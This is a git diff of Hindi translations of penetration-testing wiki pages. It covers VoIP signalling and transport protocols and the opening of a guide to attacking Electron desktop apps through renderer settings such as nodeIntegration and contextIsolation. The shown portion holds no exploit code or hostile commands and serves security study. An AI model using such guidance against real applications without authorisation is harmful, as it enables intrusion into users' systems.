संचार को सरल बनाता है। इसे "Skinny" कहा जाता है क्योंकि इसका न्यूनतम डिज़ाइन और अन्य VoIP प्रोटोकॉल जैसे H.323 या SIP की तुलना में कम बैंडविड्थ आवश्यकताएँ होती हैं। SCCP-आधारित प्रणाली के मुख्य घटक हैं: -1. **कॉल नियंत्रण सर्वर**: यह सर्वर, आमतौर पर एक Cisco Unified Communications Manager, कॉल सेटअप, संशोधन, और समाप्ति प्रक्रियाओं का प्रबंधन करता है, साथ ही कॉल फॉरवर्डिंग, कॉल ट्रांसफर, और कॉल होल्ड जैसी अन्य टेलीफोनी सुविधाएँ भी। -2. **SCCP एंडपॉइंट्स**: ये उपकरण जैसे IP फोन, वीडियो कॉन्फ्रेंसिंग यूनिट, या अन्य Cisco वॉयस और वीडियो एंडपॉइंट्स हैं जो कॉल नियंत्रण सर्वर के साथ संचार करने के लिए SCCP का उपयोग करते हैं। ये सर्वर के साथ पंजीकरण करते हैं, सिग्नलिंग संदेश भेजते और प्राप्त करते हैं, और कॉल हैंडलिंग के लिए कॉल नियंत्रण सर्वर द्वारा प्रदान किए गए निर्देशों का पालन करते हैं। -3. **गेटवे**: ये उपकरण, जैसे वॉयस गेटवे या मीडिया गेटवे, विभिन्न नेटवर्कों के बीच मीडिया स्ट्रीम को परिवर्तित करने के लिए जिम्मेदार होते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क। इनमें ट्रांसकोडिंग या इको रद्द करने जैसी अतिरिक्त कार्यक्षमताएँ भी शामिल हो सकती हैं। +1. **Call Control Server**: यह सर्वर, आमतौर पर एक Cisco Unified Communications Manager, कॉल सेटअप, संशोधन, और समाप्ति प्रक्रियाओं का प्रबंधन करता है, साथ ही कॉल फॉरवर्डिंग, कॉल ट्रांसफर, और कॉल होल्ड जैसी अन्य टेलीफोनी सुविधाएँ भी। +2. **SCCP Endpoints**: ये उपकरण जैसे IP फोन, वीडियो कॉन्फ्रेंसिंग यूनिट, या अन्य Cisco वॉयस और वीडियो एंडपॉइंट्स हैं जो कॉल नियंत्रण सर्वर के साथ संचार के लिए SCCP का उपयोग करते हैं। ये सर्वर के साथ पंजीकरण करते हैं, signaling संदेश भेजते और प्राप्त करते हैं, और कॉल हैंडलिंग के लिए कॉल नियंत्रण सर्वर द्वारा प्रदान किए गए निर्देशों का पालन करते हैं। +3. **Gateways**: ये उपकरण, जैसे वॉयस गेटवे या मीडिया गेटवे, विभिन्न नेटवर्कों के बीच मीडिया स्ट्रीम को परिवर्तित करने के लिए जिम्मेदार होते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क। इनमें ट्रांसकोडिंग या इको रद्द करने जैसी अतिरिक्त कार्यक्षमताएँ भी शामिल हो सकती हैं। -SCCP Cisco कॉल नियंत्रण सर्वरों और एंडपॉइंट उपकरणों के बीच संचार का एक सरल और प्रभावी तरीका प्रदान करता है। हालाँकि, यह ध्यान देने योग्य है कि **SCCP एक स्वामित्व प्रोटोकॉल** है, जो गैर-Cisco सिस्टम के साथ इंटरऑपरेबिलिटी को सीमित कर सकता है। ऐसे मामलों में, अन्य मानक VoIP प्रोटोकॉल जैसे SIP अधिक उपयुक्त हो सकते हैं। +SCCP Cisco कॉल नियंत्रण सर्वरों और एंडपॉइंट उपकरणों के बीच संचार का एक सरल और प्रभावी तरीका प्रदान करता है। हालाँकि, यह ध्यान देने योग्य है कि **SCCP एक स्वामित्व प्रोटोकॉल है**, जो गैर-Cisco सिस्टम के साथ इंटरऑपरेबिलिटी को सीमित कर सकता है। ऐसे मामलों में, अन्य मानक VoIP प्रोटोकॉल जैसे SIP अधिक उपयुक्त हो सकते हैं। ### H.323 -H.323 एक **प्रोटोकॉल का समूह** है जो मल्टीमीडिया संचार के लिए है, जिसमें वॉयस, वीडियो, और डेटा कॉन्फ्रेंसिंग शामिल है, जो पैकेट-स्विच नेटवर्कों, जैसे IP-आधारित नेटवर्कों पर होता है। इसे **अंतर्राष्ट्रीय दूरसंचार संघ** (ITU-T) द्वारा विकसित किया गया था और यह मल्टीमीडिया संचार सत्रों के प्रबंधन के लिए एक व्यापक ढांचा प्रदान करता है। +H.323 एक **प्रोटोकॉल का समूह** है जो मल्टीमीडिया संचार के लिए है, जिसमें वॉयस, वीडियो, और डेटा कॉन्फ्रेंसिंग शामिल है, जो पैकेट-स्विच नेटवर्कों, जैसे IP-आधारित नेटवर्कों पर होता है। इसे **International Telecommunication Union** (ITU-T) द्वारा विकसित किया गया था और यह मल्टीमीडिया संचार सत्रों के प्रबंधन के लिए एक व्यापक ढांचा प्रदान करता है। H.323 समूह के कुछ प्रमुख घटक हैं: -1. **टर्मिनल**: ये एंडपॉइंट उपकरण हैं, जैसे IP फोन, वीडियो कॉन्फ्रेंसिंग सिस्टम, या सॉफ़्टवेयर एप्लिकेशन, जो H.323 का समर्थन करते हैं और मल्टीमीडिया संचार सत्रों में भाग ले सकते हैं। -2. **गेटवे**: ये उपकरण विभिन्न नेटवर्कों के बीच मीडिया स्ट्रीम को परिवर्तित करते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क, H.323 और अन्य संचार प्रणालियों के बीच इंटरऑपरेबिलिटी सक्षम करते हैं। इनमें ट्रांसकोडिंग या इको रद्द करने जैसी अतिरिक्त कार्यक्षमताएँ भी शामिल हो सकती हैं। -3. **गेटकीपर**: ये वैकल्पिक घटक हैं जो H.323 नेटवर्क में कॉल नियंत्रण और प्रबंधन सेवाएँ प्रदान करते हैं। ये पते के अनुवाद, बैंडविड्थ प्रबंधन, और प्रवेश नियंत्रण जैसी कार्यें करते हैं, जो नेटवर्क संसाधनों का प्रबंधन और अनुकूलन करने में मदद करते हैं। -4. **मल्टीपॉइंट कंट्रोल यूनिट्स (MCUs)**: ये उपकरण मल्टीपॉइंट कॉन्फ्रेंसिंग को सुविधाजनक बनाते हैं, जो कई एंडपॉइंट्स से मीडिया स्ट्रीम को प्रबंधित और मिश्रित करते हैं। MCUs वीडियो लेआउट नियंत्रण, वॉयस-एक्टिवेटेड स्विचिंग, और निरंतर उपस्थिति जैसी सुविधाएँ सक्षम करते हैं, जिससे कई प्रतिभागियों के साथ बड़े पैमाने पर कॉन्फ्रेंस आयोजित करना संभव होता है। +1. **Terminals**: ये एंडपॉइंट उपकरण हैं, जैसे IP फोन, वीडियो कॉन्फ्रेंसिंग सिस्टम, या सॉफ़्टवेयर एप्लिकेशन, जो H.323 का समर्थन करते हैं और मल्टीमीडिया संचार सत्रों में भाग ले सकते हैं। +2. **Gateways**: ये उपकरण विभिन्न नेटवर्कों के बीच मीडिया स्ट्रीम को परिवर्तित करते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क, H.323 और अन्य संचार प्रणालियों के बीच इंटरऑपरेबिलिटी सक्षम करते हैं। इनमें ट्रांसकोडिंग या इको रद्द करने जैसी अतिरिक्त कार्यक्षमताएँ भी शामिल हो सकती हैं। +3. **Gatekeepers**: ये वैकल्पिक घटक हैं जो H.323 नेटवर्क में कॉल नियंत्रण और प्रबंधन सेवाएँ प्रदान करते हैं। ये पते के अनुवाद, बैंडविड्थ प्रबंधन, और प्रवेश नियंत्रण जैसी कार्यें करते हैं, नेटवर्क संसाधनों का प्रबंधन और अनुकूलन करने में मदद करते हैं। +4. **Multipoint Control Units (MCUs)**: ये उपकरण मल्टीपॉइंट कॉन्फ्रेंसिंग को सुविधाजनक बनाते हैं, कई एंडपॉइंट्स से मीडिया स्ट्रीम को प्रबंधित और मिश्रित करते हैं। MCUs वीडियो लेआउट नियंत्रण, वॉयस-एक्टिवेटेड स्विचिंग, और निरंतर उपस्थिति जैसी सुविधाएँ सक्षम करते हैं, जिससे कई प्रतिभागियों के साथ बड़े पैमाने पर कॉन्फ्रेंस आयोजित करना संभव होता है। -H.323 विभिन्न ऑडियो और वीडियो कोडेक्स का समर्थन करता है, साथ ही कॉल फॉरवर्डिंग, कॉल ट्रांसफर, कॉल होल्ड, और कॉल वेटिंग जैसी अन्य सहायक सेवाएँ भी। VoIP के प्रारंभिक दिनों में इसके व्यापक अपनाने के बावजूद, H.323 को धीरे-धीरे अधिक आधुनिक और लचीले प्रोटोकॉल जैसे **सत्र आरंभ प्रोटोकॉल (SIP)** द्वारा प्रतिस्थापित किया गया है, जो बेहतर इंटरऑपरेबिलिटी और आसान कार्यान्वयन प्रदान करता है। हालाँकि, H.323 कई विरासती प्रणालियों में उपयोग में है और विभिन्न उपकरण विक्रेताओं द्वारा इसका समर्थन जारी है। +H.323 विभिन्न ऑडियो और वीडियो कोडेक्स का समर्थन करता है, साथ ही कॉल फॉरवर्डिंग, कॉल ट्रांसफर, कॉल होल्ड, और कॉल वेटिंग जैसी अन्य पूरक सेवाएँ भी। VoIP के प्रारंभिक दिनों में इसके व्यापक अपनाने के बावजूद, H.323 को धीरे-धीरे अधिक आधुनिक और लचीले प्रोटोकॉल जैसे **Session Initiation Protocol (SIP)** द्वारा प्रतिस्थापित किया गया है, जो बेहतर इंटरऑपरेबिलिटी और आसान कार्यान्वयन प्रदान करता है। हालाँकि, H.323 कई विरासती प्रणालियों में उपयोग में है और विभिन्न उपकरण विक्रेताओं द्वारा इसका समर्थन जारी है। ### IAX (Inter Asterisk eXchange) -IAX (Inter-Asterisk eXchange) एक **सिग्नलिंग और कॉल नियंत्रण प्रोटोकॉल** है जो मुख्य रूप से Asterisk PBX (Private Branch Exchange) सर्वरों और अन्य VoIP उपकरणों के बीच संचार के लिए उपयोग किया जाता है। इसे Mark Spencer द्वारा विकसित किया गया था, जो Asterisk ओपन-सोर्स PBX सॉफ़्टवेयर के निर्माता हैं, अन्य VoIP प्रोटोकॉल जैसे SIP और H.323 के विकल्प के रूप में। +IAX (Inter-Asterisk eXchange) एक **signaling और call control protocol** है जो मुख्य रूप से Asterisk PBX (Private Branch Exchange) सर्वरों और अन्य VoIP उपकरणों के बीच संचार के लिए उपयोग किया जाता है। इसे Asterisk ओपन-सोर्स PBX सॉफ़्टवेयर के निर्माता मार्क स्पेंसर द्वारा SIP और H.323 जैसे अन्य VoIP प्रोटोकॉल के विकल्प के रूप में विकसित किया गया था। IAX अपनी **सरलता, दक्षता, और कार्यान्वयन में आसानी** के लिए जाना जाता है। IAX की कुछ प्रमुख विशेषताएँ हैं: -1. **एकल UDP पोर्ट**: IAX सिग्नलिंग और मीडिया ट्रैफ़िक के लिए एकल UDP पोर्ट (4569) का उपयोग करता है, जो फ़ायरवॉल और NAT पार करने को सरल बनाता है, जिससे इसे विभिन्न नेटवर्क वातावरण में तैनात करना आसान होता है। -2. **बाइनरी प्रोटोकॉल**: टेक्स्ट-आधारित प्रोटोकॉल जैसे SIP के विपरीत, IAX एक बाइनरी प्रोटोकॉल है, जो इसके बैंडविड्थ खपत को कम करता है और सिग्नलिंग और मीडिया डेटा को संप्रेषित करने के लिए इसे अधिक प्रभावी बनाता है। +1. **एकल UDP पोर्ट**: IAX एकल UDP पोर्ट (4569) का उपयोग करता है जो signaling और मीडिया ट्रैफ़िक दोनों के लिए होता है, जिससे फ़ायरवॉल और NAT पार करना सरल हो जाता है, और इसे विभिन्न नेटवर्क वातावरणों में तैनात करना आसान हो जाता है। +2. **बाइनरी प्रोटोकॉल**: टेक्स्ट-आधारित प्रोटोकॉल जैसे SIP के विपरीत, IAX एक बाइनरी प्रोटोकॉल है, जो इसकी बैंडविड्थ खपत को कम करता है और signaling और मीडिया डेटा को संप्रेषित करने के लिए इसे अधिक प्रभावी बनाता है। 3. **ट्रंकिंग**: IAX ट्रंकिंग का समर्थन करता है, जो कई कॉलों को एकल नेटवर्क कनेक्शन में संयोजित करने की अनुमति देता है, ओवरहेड को कम करता है और बैंडविड्थ उपयोग में सुधार करता है। 4. **स्वदेशी एन्क्रिप्शन**: IAX में एन्क्रिप्शन के लिए अंतर्निहित समर्थन है, जैसे RSA कुंजी विनिमय और AES मीडिया एन्क्रिप्शन के लिए, जो एंडपॉइंट्स के बीच सुरक्षित संचार प्रदान करता है। -5. **पीयर-टू-पीयर संचार**: IAX को केंद्रीय सर्वर की आवश्यकता के बिना एंडपॉइंट्स के बीच सीधे संचार के लिए उपयोग किया जा सकता है, जिससे कॉल रूटिंग सरल और अधिक प्रभावी होती है। +5. **पीयर-टू-पीयर संचार**: IAX को केंद्रीय सर्वर की आवश्यकता के बिना एंडपॉइंट्स के बीच सीधे संचार के लिए उपयोग किया जा सकता है, जिससे कॉल रूटिंग सरल और अधिक प्रभावी हो जाती है। -इसके लाभों के बावजूद, IAX में कुछ सीमाएँ हैं, जैसे इसका मुख्य ध्यान Asterisk पारिस्थितिकी तंत्र पर और SIP जैसे अधिक स्थापित प्रोटोकॉल की तुलना में कम व्यापक अपनाना। परिणामस्वरूप, IAX गैर-Asterisk सिस्टम या उपकरणों के साथ इंटरऑपरेबिलिटी के लिए सबसे अच्छा विकल्प नहीं हो सकता है। हालाँकि, जो लोग Asterisk वातावरण में काम कर रहे हैं, उनके लिए IAX VoIP संचार के लिए एक मजबूत और प्रभावी समाधान प्रदान करता है। +इसके लाभों के बावजूद, IAX की कुछ सीमाएँ हैं, जैसे इसका मुख्य ध्यान Asterisk पारिस्थितिकी तंत्र पर और SIP जैसे अधिक स्थापित प्रोटोकॉल की तुलना में कम व्यापक अपनाना। परिणामस्वरूप, IAX गैर-Asterisk सिस्टम या उपकरणों के साथ इंटरऑपरेबिलिटी के लिए सबसे अच्छा विकल्प नहीं हो सकता है। हालाँकि, जो लोग Asterisk वातावरण में काम कर रहे हैं, उनके लिए IAX VoIP संचार के लिए एक मजबूत और प्रभावी समाधान प्रदान करता है। ## Transmission & Transport Protocols ### SDP (Session Description Protocol) -SDP (Session Description Protocol) एक **टेक्स्ट-आधारित प्रारूप** है जिसका उपयोग IP नेटवर्कों पर वॉयस, वीडियो, या डेटा कॉन्फ्रेंसिंग जैसे मल्टीमीडिया सत्रों की विशेषताओं का वर्णन करने के लिए किया जाता है। इसे **इंटरनेट इंजीनियरिंग टास्क फोर्स (IETF)** द्वारा विकसित किया गया था और इसे **RFC 4566** में परिभाषित किया गया है। SDP वास्तविक मीडिया ट्रांसमिशन या सत्र स्थापना को संभालता नहीं है, बल्कि इसे अन्य सिग्नलिंग प्रोटोकॉल, जैसे **SIP (Session Initiation Protocol)** के साथ मिलकर मीडिया स्ट्रीम और उनकी विशेषताओं के बारे में जानकारी को बातचीत और विनिमय करने के लिए उपयोग किया जाता है। +SDP (Session Description Protocol) एक **टेक्स्ट-आधारित प्रारूप** है जिसका उपयोग मल्टीमीडिया सत्रों की विशेषताओं का वर्णन करने के लिए किया जाता है, जैसे वॉयस, वीडियो, या डेटा कॉन्फ्रेंसिंग, IP नेटवर्कों पर। इसे **Internet Engineering Task Force (IETF)** द्वारा विकसित किया गया था और इसे **RFC 4566** में परिभाषित किया गया है। SDP वास्तविक मीडिया ट्रांसमिशन या सत्र स्थापना को संभालता नहीं है, लेकिन इसे अन्य signaling प्रोटोकॉल, जैसे **SIP (Session Initiation Protocol)** के साथ मिलकर मीडिया स्ट्रीम और उनके गुणों के बारे में जानकारी को बातचीत और विनिमय करने के लिए उपयोग किया जाता है। SDP के कुछ प्रमुख तत्व हैं: 1. **सत्र जानकारी**: SDP एक मल्टीमीडिया सत्र के विवरण का वर्णन करता है, जिसमें सत्र का नाम, सत्र का विवरण, प्रारंभ समय, और समाप्ति समय शामिल है। 2. **मीडिया स्ट्रीम**: SDP मीडिया स्ट्रीम की विशेषताओं को परिभाषित करता है, जैसे मीडिया प्रकार (ऑडियो, वीडियो, या टेक्स्ट), परिवहन प्रोटोकॉल (जैसे RTP या SRTP), और मीडिया प्रारूप (जैसे कोडेक जानकारी)। 3. **कनेक्शन जानकारी**: SDP नेटवर्क पते (IP पता) और पोर्ट नंबर के बारे में जानकारी प्रदान करता है जहाँ मीडिया भेजा या प्राप्त किया जाना चाहिए। -4. **विशेषताएँ**: SDP विशेषताओं के उपयोग का समर्थन करता है ताकि सत्र या मीडिया स्ट्रीम के बारे में अतिरिक्त, वैकल्पिक जानकारी प्रदान की जा सके। विशेषताएँ एन्क्रिप्शन कुंजी, बैंडविड्थ आवश्यकताओं, या मीडिया नियंत्रण तंत्र जैसी विभिन्न सुविधाओं को निर्दिष्ट करने के लिए उपयोग की जा सकती हैं। +4. **गुण**: SDP सत्र या मीडिया स्ट्रीम के बारे में अतिरिक्त, वैकल्पिक जानकारी प्रदान करने के लिए गुणों के उपयोग का समर्थन करता है। गुणों का उपयोग एन्क्रिप्शन कुंजी, बैंडविड्थ आवश्यकताओं, या मीडिया नियंत्रण तंत्र जैसी विभिन्न सुविधाओं को निर्दिष्ट करने के लिए किया जा सकता है। SDP आमतौर पर निम्नलिखित प्रक्रिया में उपयोग किया जाता है: -1. एक आरंभिक पार्टी प्रस्तावित मल्टीमीडिया सत्र का SDP विवरण बनाती है, जिसमें मीडिया स्ट्रीम और उनकी विशेषताओं का विवरण होता है। -2. SDP विवरण प्राप्त करने वाली पार्टी को भेजा जाता है, जो आमतौर पर सिग्नलिंग प्रोटोकॉल संदेश जैसे SIP या RTSP के भीतर एम्बेडेड होता है। +1. एक आरंभिक पार्टी प्रस्तावित मल्टीमीडिया सत्र का SDP विवरण बनाती है, जिसमें मीडिया स्ट्रीम और उनके गुणों का विवरण होता है। +2. SDP विवरण प्राप्त करने वाली पार्टी को भेजा जाता है, आमतौर पर signaling प्रोटोकॉल संदेश जैसे SIP या RTSP के भीतर एम्बेडेड होता है। 3. प्राप्त करने वाली पार्टी SDP विवरण को संसाधित करती है, और अपनी क्षमताओं के आधार पर, यह प्रस्तावित सत्र को स्वीकार, अस्वीकार, या संशोधित कर सकती है। -4. अंतिम SDP विवरण आरंभिक पार्टी को सिग्नलिंग प्रोटोकॉल संदेश के भाग के रूप में वापस भेजा जाता है, जिससे बातचीत की प्रक्रिया पूरी होती है। +4. अंतिम SDP विवरण आरंभिक पार्टी को signaling प्रोटोकॉल संदेश के भाग के रूप में वापस भेजा जाता है, बातचीत प्रक्रिया को पूरा करता है। SDP की सरलता और लचीलापन इसे विभिन्न संचार प्रणालियों में मल्टीमीडिया सत्रों का वर्णन करने के लिए एक व्यापक रूप से अपनाया गया मानक बनाता है, जो IP नेटवर्कों पर वास्तविक समय के मल्टीमीडिया सत्रों की स्थापना और प्रबंधन में महत्वपूर्ण भूमिका निभाता है। ### RTP / RTCP / SRTP / ZRTP -1. **RTP (Real-time Transport Protocol)**: RTP एक नेटवर्क प्रोटोकॉल है जिसे IP नेटवर्कों पर ऑडियो और वीडियो डेटा, या अन्य वास्तविक समय के मीडिया के वितरण के लिए डिज़ाइन किया गया है। इसे **IETF** द्वारा विकसित किया गया था और इसे **RFC 3550** में परिभाषित किया गया है, RTP आमतौर पर SIP और H.323 जैसे सिग्नलिंग प्रोटोकॉल के साथ उपयोग किया जाता है ताकि मल्टीमीडिया संचार सक्षम हो सके। RTP **समन्वय**, **क्रमबद्धता**, और **टाइमस्टैम्पिंग** के लिए तंत्र प्रदान करता है, जो मीडिया प्लेबैक को सुचारू और समय पर सुनिश्चित करने में मदद करता है। -2. **RTCP (Real-time Transport Control Protocol)**: RTCP RTP का एक साथी प्रोटोकॉल है, जिसका उपयोग सेवा की गुणवत्ता (QoS) की निगरानी के लिए और मीडिया स्ट्रीम के संचरण पर फीडबैक प्रदान करने के लिए किया जाता है। RTP के समान **RFC 3550** में परिभाषित, RTCP **RTP सत्र में प्रतिभागियों के बीच नियंत्रण पैकेटों का समय-समय पर आदान-प्रदान करता है**। यह पैकेट हानि, जिटर, और राउंड-ट्रिप समय जैसी जानकारी साझा करता है, जो नेटवर्क की स्थितियों का निदान और अनुकूलन करने में मदद करता है, जिससे समग्र मीडिया गुणवत्ता में सुधार होता है। -3. **SRTP (Secure Real-time Transport Protocol)**: SRTP RTP का एक विस्तार है जो मीडिया स्ट्रीम के लिए **एन्क्रिप्शन**, **संदेश प्रमाणीकरण**, और **पुनरावृत्ति सुरक्षा** प्रदान करता है, संवेदनशील ऑडियो और वीडियो डेटा के सुरक्षित संचरण को सुनिश्चित करता है। इसे **RFC 3711** में परिभाषित किया गया है, SRTP एन्क्रिप्शन के लिए AES जैसे क्रिप्टोग्राफिक एल्गोरिदम और संदेश प्रमाणीकरण के लिए HMAC-SHA1 का उपयोग करता है। SRTP अक्सर सुरक्षित सिग्नलिंग प्रोटोकॉल जैसे SIP over TLS के साथ उपयोग किया जाता है ताकि मल्टीमीडिया संचार में एंड-टू-एंड सुरक्षा प्रदान की जा सके। -4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP एक क्रिप्टोग्राफिक कुंजी-समझौता प्रोटोकॉल है जो RTP मीडिया स्ट्रीम के लिए **एंड-टू-एंड एन्क्रिप्शन** प्रदान करता है। इसे PGP के निर्माता फिल ज़िमरमैन द्वारा विकसित किया गया था, ZRTP को **RFC 6189** में वर्णित किया गया है। SRTP के विपरीत, जो कुंजी विनिमय के लिए सिग्नलिंग प्रोटोकॉल पर निर्भर करता है, ZRTP को सिग्नलिंग प्रोटोकॉल से स्वतंत्र रूप से काम करने के लिए डिज़ाइन किया गया है। यह संवाद करने वाली पार्टियों के बीच साझा रहस्य स्थापित करने के लिए **डिफी-हेलमैन कुंजी विनिमय** का उपयोग करता है, बिना पूर्व विश्वास या सार्वजनिक कुंजी अवसंरचना (PKI) की आवश्यकता के। ZRTP में **शॉर्ट ऑथेंटिकेशन स्ट्रिंग्स (SAS)** जैसी सुविधाएँ भी शामिल हैं जो मैन-इन-द-मिडल हमलों से सुरक्षा प्रदान करती हैं। +1. **RTP (Real-time Transport Protocol)**: RTP एक नेटवर्क प्रोटोकॉल है जो IP नेटवर्कों पर ऑडियो और वीडियो डेटा, या अन्य वास्तविक समय के मीडिया के वितरण के लिए डिज़ाइन किया गया है। इसे **IETF** द्वारा विकसित किया गया था और इसे **RFC 3550** में परिभाषित किया गया है, RTP आमतौर पर SIP और H.323 जैसे signaling प्रोटोकॉल के साथ उपयोग किया जाता है ताकि मल्टीमीडिया संचार सक्षम हो सके। RTP **सिंक्रनाइज़ेशन**, **क्रमबद्धता**, और **टाइमस्टैम्पिंग** के लिए तंत्र प्रदान करता है, जो मीडिया प्लेबैक को सुचारू और समय पर सुनिश्चित करने में मदद करता है। +2. **RTCP (Real-time Transport Control Protocol)**: RTCP RTP का एक साथी प्रोटोकॉल है, जिसका उपयोग सेवा की गुणवत्ता (QoS) की निगरानी के लिए और मीडिया स्ट्रीम के संचरण पर फीडबैक प्रदान करने के लिए किया जाता है। RTP के समान **RFC 3550** में परिभाषित, RTCP **RTP सत्र में प्रतिभागियों के बीच नियंत्रण पैकेटों का समय-समय पर आदान-प्रदान करता है**। यह पैकेट हानि, जिटर, और राउंड-ट्रिप समय जैसी जानकारी साझा करता है, जो नेटवर्क की स्थितियों का निदान और अनुकूलन करने में मदद करता है, समग्र मीडिया गुणवत्ता में सुधार करता है। +3. **SRTP (Secure Real-time Transport Protocol)**: SRTP RTP का एक विस्तार है जो मीडिया स्ट्रीम के लिए **एन्क्रिप्शन**, **संदेश प्रमाणीकरण**, और **पुनरावृत्ति सुरक्षा** प्रदान करता है, संवेदनशील ऑडियो और वीडियो डेटा के सुरक्षित संचरण को सुनिश्चित करता है। इसे **RFC 3711** में परिभाषित किया गया है, SRTP एन्क्रिप्शन के लिए AES जैसे क्रिप्टोग्राफिक एल्गोरिदम और संदेश प्रमाणीकरण के लिए HMAC-SHA1 का उपयोग करता है। SRTP अक्सर सुरक्षित signaling प्रोटोकॉल जैसे TLS पर SIP के साथ मिलकर उपयोग किया जाता है ताकि मल्टीमीडिया संचार में एंड-टू-एंड सुरक्षा प्रदान की जा सके। +4. **ZRTP (Zimmermann Real-time Transport Protocol)**: ZRTP एक क्रिप्टोग्राफिक कुंजी-समझौता प्रोटोकॉल है जो RTP मीडिया स्ट्रीम के लिए **एंड-टू-एंड एन्क्रिप्शन** प्रदान करता है। इसे PGP के निर्माता फिल ज़िमरमैन द्वारा विकसित किया गया है, ZRTP को **RFC 6189** में वर्णित किया गया है। SRTP के विपरीत, जो कुंजी विनिमय के लिए signaling प्रोटोकॉल पर निर्भर करता है, ZRTP को signaling प्रोटोकॉल से स्वतंत्र रूप से काम करने के लिए डिज़ाइन किया गया है। यह संवाद करने वाली पार्टियों के बीच साझा रहस्य स्थापित करने के लिए **Diffie-Hellman कुंजी विनिमय** का उपयोग करता है, बिना पूर्व विश्वास या सार्वजनिक कुंजी अवसंरचना (PKI) की आवश्यकता के। ZRTP में **शॉर्ट ऑथेंटिकेशन स्ट्रिंग्स (SAS)** जैसी सुविधाएँ भी शामिल हैं जो मैन-इन-द-मिडल हमलों से सुरक्षा प्रदान करती हैं। ये प्रोटोकॉल **IP नेटवर्कों पर वास्तविक समय के मल्टीमीडिया संचार को वितरित और सुरक्षित करने में महत्वपूर्ण भूमिका निभाते हैं**। जबकि RTP और RTCP वास्तविक मीडिया ट्रांसमिशन और गुणवत्ता निगरानी को संभालते हैं, SRTP और ZRTP सुनिश्चित करते हैं कि संप्रेषित मीडिया सुनने, छेड़छाड़, और पुनरावृत्ति हमलों से सुरक्षित है। -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 41d3ce82d..a893483af 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -15,23 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+## परिचय -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **समझौता** किया गया है। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मैलवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - -## Introduction - -Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटएंड (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है। +Electron एक स्थानीय बैकएंड (जिसमें **NodeJS**) और एक फ्रंटेंड (**Chromium**) को जोड़ता है, हालांकि इसमें आधुनिक ब्राउज़रों के कुछ सुरक्षा तंत्रों की कमी है। आमतौर पर आप इलेक्ट्रॉन ऐप कोड को एक `.asar` एप्लिकेशन के अंदर पाएंगे, कोड प्राप्त करने के लिए आपको इसे निकालने की आवश्यकता है: ```bash @@ -47,7 +34,7 @@ Electron ऐप के स्रोत कोड में, `packet.json` के Electron के 2 प्रक्रिया प्रकार हैं: * मुख्य प्रक्रिया (NodeJS तक पूर्ण पहुंच है) -* रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS तक सीमित पहुंच होनी चाहिए) +* रेंडरर प्रक्रिया (सुरक्षा कारणों से NodeJS की सीमित पहुंच होनी चाहिए) ![](<../../../.gitbook/assets/image (182).png>) @@ -59,20 +46,20 @@ let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://path/to/index.html`); ``` -Settings of the **renderer process** को **main process** में main.js फ़ाइल के अंदर **config किया** जा सकता है। कुछ कॉन्फ़िगरेशन **Electron एप्लिकेशन को RCE** या अन्य कमजोरियों से **रोकने** में मदद करेंगे यदि **settings सही तरीके से config की गई हैं**। +Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**. -Electron एप्लिकेशन **डिवाइस तक पहुँच सकता है** Node APIs के माध्यम से हालाँकि इसे रोकने के लिए config किया जा सकता है: +The electron application **could access the device** via Node apis although it can be configure to prevent it: -* **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि `on` है, तो यह renderer process से node सुविधाओं तक पहुँचने की अनुमति देता है। -* **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि `off` है, तो main और renderer processes अलग नहीं होते हैं। +* **`nodeIntegration`** - डिफ़ॉल्ट रूप से `off` है। यदि चालू है, तो यह renderer process से node सुविधाओं तक पहुँचने की अनुमति देता है। +* **`contextIsolation`** - डिफ़ॉल्ट रूप से `on` है। यदि बंद है, तो मुख्य और renderer प्रक्रियाएँ अलग नहीं होती हैं। * **`preload`** - डिफ़ॉल्ट रूप से खाली है। -* 